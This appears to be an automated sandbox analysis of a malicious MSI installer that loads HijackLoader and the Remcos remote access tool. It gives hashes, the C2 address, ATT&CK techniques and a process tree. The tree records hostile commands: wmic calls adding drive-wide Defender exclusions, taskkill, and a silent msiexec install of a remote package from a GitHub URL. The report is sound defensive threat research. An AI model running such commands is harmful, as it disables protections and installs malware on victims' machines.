hijackloader | 0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
21/02/2025, 22:06

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General

Target

ThePredictor.msi
Size

27.3MB
MD5

f57bed58fae51b1eb360d11ffb042859
SHA1

18d49f590fec35f5f07a8a9ed7ede776cdfbf412
SHA256

0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce
SHA512

e71e09070cd37ba84fee17ba47c74c25b1d38408cf94a136cf6f42ee6df50f96d7bc5b33bd49729d5090fdade6e05678175bf49aa9474b1f93f2ea75d8e83f1d
SSDEEP

786432:h6JCD0rr9pQLq9jRbfQrP6sJ/xxLbxGrSU4+u:ArrHQLMf1O/xRorSU

Score

10^/10

hijackloader remcos v2 discovery loader persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x000200000001ec63-72.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4108	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EHttpSrv = "\"C:\\Users\\Admin\\AppData\\Local\\IXXinstall\\EHttpSrv.exe\""	msiexec.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	8	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
11	raw.githubusercontent.com

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4996 set thread context of 4476	4996	EHttpSrv.exe	115
PID 4476 set thread context of 3476	4476	cmd.exe	118

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\task.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\BvSshClient-Inst (1).exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\Firefox Installer.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\lola.bat	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIC42B.tmp	msiexec.exe
File created	C:\Windows\Installer\e5914c9.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57afd7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1573.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{0472DF57-ADC2-4F69-A007-A10C1075D56D}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e57afd7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB249.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB074.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB2D7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB365.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB52B.tmp	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
4996	EHttpSrv.exe

Loads dropped DLL 7 IoCs

pid	Process
4584	MsiExec.exe
4584	MsiExec.exe
4584	MsiExec.exe
4584	MsiExec.exe
4996	EHttpSrv.exe
4996	EHttpSrv.exe
3476	EHttpSrv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4020	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
496	taskkill.exe
1324	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3224	msiexec.exe
3224	msiexec.exe
8	msiexec.exe
8	msiexec.exe
4996	EHttpSrv.exe
4476	cmd.exe
4476	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4996	EHttpSrv.exe
4476	cmd.exe
4476	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4020	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4020	msiexec.exe
Token: SeSecurityPrivilege	3224	msiexec.exe
Token: SeCreateTokenPrivilege	4020	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4020	msiexec.exe
Token: SeLockMemoryPrivilege	4020	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4020	msiexec.exe
Token: SeMachineAccountPrivilege	4020	msiexec.exe
Token: SeTcbPrivilege	4020	msiexec.exe
Token: SeSecurityPrivilege	4020	msiexec.exe
Token: SeTakeOwnershipPrivilege	4020	msiexec.exe
Token: SeLoadDriverPrivilege	4020	msiexec.exe
Token: SeSystemProfilePrivilege	4020	msiexec.exe
Token: SeSystemtimePrivilege	4020	msiexec.exe
Token: SeProfSingleProcessPrivilege	4020	msiexec.exe
Token: SeIncBasePriorityPrivilege	4020	msiexec.exe
Token: SeCreatePagefilePrivilege	4020	msiexec.exe
Token: SeCreatePermanentPrivilege	4020	msiexec.exe
Token: SeBackupPrivilege	4020	msiexec.exe
Token: SeRestorePrivilege	4020	msiexec.exe
Token: SeShutdownPrivilege	4020	msiexec.exe
Token: SeDebugPrivilege	4020	msiexec.exe
Token: SeAuditPrivilege	4020	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4020	msiexec.exe
Token: SeChangeNotifyPrivilege	4020	msiexec.exe
Token: SeRemoteShutdownPrivilege	4020	msiexec.exe
Token: SeUndockPrivilege	4020	msiexec.exe
Token: SeSyncAgentPrivilege	4020	msiexec.exe
Token: SeEnableDelegationPrivilege	4020	msiexec.exe
Token: SeManageVolumePrivilege	4020	msiexec.exe
Token: SeImpersonatePrivilege	4020	msiexec.exe
Token: SeCreateGlobalPrivilege	4020	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeRestorePrivilege	3224	msiexec.exe
Token: SeTakeOwnershipPrivilege	3224	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4328	WMIC.exe
Token: SeSecurityPrivilege	4328	WMIC.exe
Token: SeTakeOwnershipPrivilege	4328	WMIC.exe
Token: SeLoadDriverPrivilege	4328	WMIC.exe
Token: SeSystemProfilePrivilege	4328	WMIC.exe
Token: SeSystemtimePrivilege	4328	WMIC.exe
Token: SeProfSingleProcessPrivilege	4328	WMIC.exe
Token: SeIncBasePriorityPrivilege	4328	WMIC.exe
Token: SeCreatePagefilePrivilege	4328	WMIC.exe
Token: SeBackupPrivilege	4328	WMIC.exe
Token: SeRestorePrivilege	4328	WMIC.exe
Token: SeShutdownPrivilege	4328	WMIC.exe
Token: SeDebugPrivilege	4328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4328	WMIC.exe
Token: SeRemoteShutdownPrivilege	4328	WMIC.exe
Token: SeUndockPrivilege	4328	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4020	msiexec.exe
4020	msiexec.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3224 wrote to memory of 4584	3224	msiexec.exe	89
PID 3224 wrote to memory of 4584	3224	msiexec.exe	89
PID 3224 wrote to memory of 4584	3224	msiexec.exe	89
PID 3224 wrote to memory of 644	3224	msiexec.exe	90
PID 3224 wrote to memory of 644	3224	msiexec.exe	90
PID 644 wrote to memory of 4768	644	cmd.exe	92
PID 644 wrote to memory of 4768	644	cmd.exe	92
PID 644 wrote to memory of 212	644	cmd.exe	93
PID 644 wrote to memory of 212	644	cmd.exe	93
PID 212 wrote to memory of 3812	212	cscript.exe	94
PID 212 wrote to memory of 3812	212	cscript.exe	94
PID 3812 wrote to memory of 3412	3812	wscript.exe	95
PID 3812 wrote to memory of 3412	3812	wscript.exe	95
PID 3412 wrote to memory of 4328	3412	cmd.exe	97
PID 3412 wrote to memory of 4328	3412	cmd.exe	97
PID 3812 wrote to memory of 3424	3812	wscript.exe	99
PID 3812 wrote to memory of 3424	3812	wscript.exe	99
PID 3424 wrote to memory of 4548	3424	cmd.exe	101
PID 3424 wrote to memory of 4548	3424	cmd.exe	101
PID 3812 wrote to memory of 2532	3812	wscript.exe	102
PID 3812 wrote to memory of 2532	3812	wscript.exe	102
PID 2532 wrote to memory of 496	2532	cmd.exe	104
PID 2532 wrote to memory of 496	2532	cmd.exe	104
PID 3812 wrote to memory of 1148	3812	wscript.exe	106
PID 3812 wrote to memory of 1148	3812	wscript.exe	106
PID 1148 wrote to memory of 1324	1148	cmd.exe	108
PID 1148 wrote to memory of 1324	1148	cmd.exe	108
PID 3812 wrote to memory of 2956	3812	wscript.exe	109
PID 3812 wrote to memory of 2956	3812	wscript.exe	109
PID 2956 wrote to memory of 4108	2956	wscript.exe	110
PID 2956 wrote to memory of 4108	2956	wscript.exe	110
PID 8 wrote to memory of 4996	8	msiexec.exe	114
PID 8 wrote to memory of 4996	8	msiexec.exe	114
PID 8 wrote to memory of 4996	8	msiexec.exe	114
PID 4996 wrote to memory of 4476	4996	EHttpSrv.exe	115
PID 4996 wrote to memory of 4476	4996	EHttpSrv.exe	115
PID 4996 wrote to memory of 4476	4996	EHttpSrv.exe	115
PID 4996 wrote to memory of 4476	4996	EHttpSrv.exe	115
PID 4476 wrote to memory of 3476	4476	cmd.exe	118
PID 4476 wrote to memory of 3476	4476	cmd.exe	118
PID 4476 wrote to memory of 3476	4476	cmd.exe	118
PID 4476 wrote to memory of 3476	4476	cmd.exe	118
PID 4476 wrote to memory of 3476	4476	cmd.exe	118

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ThePredictor.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4020

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3224
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8D39AAD336C89E42E92D54BAC2315AE2
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4768
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3812
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3412
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4328
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3424
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        6⤵
        
        PID:4548
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2532
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cmd.exe
        6⤵
        Kills process with taskkill
        
        PID:496
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1148
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im msiexec.exe
        6⤵
        Kills process with taskkill
        
        PID:1324
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2956
      - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi" /qn
        6⤵
        Use of msiexec (install) with remote resource
        
        PID:4108

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:8
- C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57afda.rbs

Filesize
2KB

MD5
55a7356fa4597caa94ea2acb1ab87e03

SHA1
dc5f93f56e3478d30eb66c524f766d7757dce561

SHA256
4cab2d06e09fff1c668e5edff56dd2cfb20f437ecf9c4fe5ea41c2ce0db756fc

SHA512
9b06cb09f5e2e9f9fec6590d1dd7421679e12846de3fec457d60a0125b2bfd7bd75ad6d73b2a98f7e01d6493e0fa3ffb5aa73f8b0d555ee6e793189232c35b7a

Download Submit
C:\Config.Msi\e5914c8.rbs

Filesize
10KB

MD5
31ffc76468d123e3cacb68f448b26ae8

SHA1
c3695beac8c9874c5c4a07182322e002d1f21ae4

SHA256
5e83ad79e47a15fdfe741cd720581d707867bc6479d81d8aea1c629c5fda6e1f

SHA512
ad8d45cdaad06d94fbf107d68f18aff37c55b9d9dc37f86dcc34bc7568cc3780c03c47ebef72bba87e68a9f488103a3f056f039695a89b5146bf555b5e8da8db

Download Submit
C:\Program Files (x86)\sev\dev\updt\lola.bat

Filesize
656B

MD5
73e4aed899a6014299b63ccf9eb520f5

SHA1
4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

SHA256
01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

SHA512
e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

Download Submit
C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

Filesize
872B

MD5
64dccadec94cfd25ee1ed659b29182b2

SHA1
64bc8bca314a238a900de2092587b07903b08e6c

SHA256
c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

SHA512
adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

Download Submit
C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

Filesize
530B

MD5
f46334bc2aaa5c17f94d9e1a71d313ad

SHA1
635bd3cd09045731691a446a82b9a30cb244ce8b

SHA256
3568b9a14ec94a3e7ee267124e3eaea38b6d49019988f5e68dc2fbc16057acaa

SHA512
e8f5216fe65fdbd8b81e2f14b2d40b11be6d5806262ee98292c7bf962ae22a5fb99fb4b58556953d4d6e78be332c0c2cff9b642ee9496dcf62fee452955da0ef

Download Submit
C:\Program Files (x86)\sev\dev\updt\task.vbs

Filesize
2KB

MD5
be8e86dd465192f94e52b2cf7bb6243a

SHA1
e62cfcee783511bf7aa2411564b856967a185749

SHA256
99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

SHA512
fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\http_dll.dll

Filesize
1.9MB

MD5
fe47e255c704b20cb20c8ed93ec94d47

SHA1
ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

SHA256
b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

SHA512
55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\mfc80u.dll

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Local\Temp\66ae0bb3

Filesize
1.0MB

MD5
b099a23b0cd469f65927072fcb090d40

SHA1
8a7ee7a1ccf7ab1e5c87e02db42804dfead6bcde

SHA256
d3414a40c097af75ed9318d8e761b8d2b29e1f6ae0ffeb086718168ea515689c

SHA512
352ac5919459afa774064a0b7f498b7187f8ccc730a9bb1395bb113cd1a6b06b7cf79b47114e7939d7c7bfcc81fa4ad1dee548cc3f883483a3c956290f34ad7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7ad57.LOG

Filesize
21KB

MD5
4264d3b182152593abee2f052050d255

SHA1
f134f7b6066354c7d44469a4ddd6acfe57c827ef

SHA256
918bccb3b3313a9368004ad5cb235ab6a464c883783c39009724c512523db22e

SHA512
451d404aac36a22e33deed0ebdf117a7f089c4cfd0eee4328ad31eec2a9ddb50d31b6780b2f6beed6423dcdf98c0942d3fef8fd8d419faa48fd397c69895c990

Download Submit
C:\Windows\Installer\MSIB074.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
C:\Windows\Installer\MSIC42B.tmp

Filesize
2.9MB

MD5
5297df4268c31105df6d2fc39437d294

SHA1
df8d187c76abf86b8c7f3061723232424c6a7f2c

SHA256
696ed13d119273602770a67ac8015544cabba93a8316816e4fbdda5794b35399

SHA512
5fdd3cc4dfa1962a769138fece7a1ca9262d6503fe3a10838b6356d8fbe7081f841beb30bffbf0cc4966f863e63d420c05f9f903c7621da6130fea2e7ed85ad5

Download Submit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Filesize
156KB

MD5
08269b39c42b1e81327ef18e67264727

SHA1
d8851c163f3e339320e31292c78789bf24ae2f21

SHA256
cb7028e0baa873d75aa6430991da195a0c5a3af836116fb6ed1e86474d251380

SHA512
e3527ac8abfcce3ab76b840ef304e92aa5e370bba901c1f364828779aa87bfbf05e66ab6d728368aa21b9bb0c8e0b18c25712ac6cc031a001ae20ffc10bb8484

Download Submit
memory/3476-91-0x0000000072EE0000-0x0000000074134000-memory.dmp

Filesize
18.3MB

Download
memory/3476-97-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3476-94-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3476-93-0x00007FFB0F8D0000-0x00007FFB0FAC5000-memory.dmp

Filesize
